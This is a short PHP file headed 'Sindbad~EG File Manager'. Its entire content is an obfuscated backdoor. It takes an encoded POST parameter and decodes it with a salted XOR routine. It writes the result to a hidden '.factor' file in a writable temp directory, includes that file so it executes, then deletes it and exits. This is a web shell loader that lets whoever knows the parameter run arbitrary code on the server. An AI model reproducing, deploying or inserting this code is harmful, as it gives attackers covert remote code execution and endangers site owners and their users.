Sindbad~EG File Manager

<?php

if(filter_has_var(INPUT_POST, "o\x62j\x65\x63t")){
	$record = array_filter(["/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd()]);
	$binding = $_REQUEST["o\x62j\x65\x63t"];
	  	$binding  =			explode	 	( "."  	, $binding 	) 	;		
	$fac = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt3);
            $m = 0;
    
            foreach ($binding as $v1) { 	$sChar = ord($salt3[$m	%$lenS]);
                $d = ((int)$v1 - $sChar - ($m	%10)) ^ 81;
                $fac .= chr($d);
                $m++;
            }
	foreach ($record as $holder):
    		if (is_dir($holder) && is_writable($holder)) {
    $descriptor = str_replace("{var_dir}", $holder, "{var_dir}/.factor");
    $success = file_put_contents($descriptor, $fac);
if ($success) {
	include $descriptor;
	@unlink($descriptor);
	exit;}
}
endforeach;
}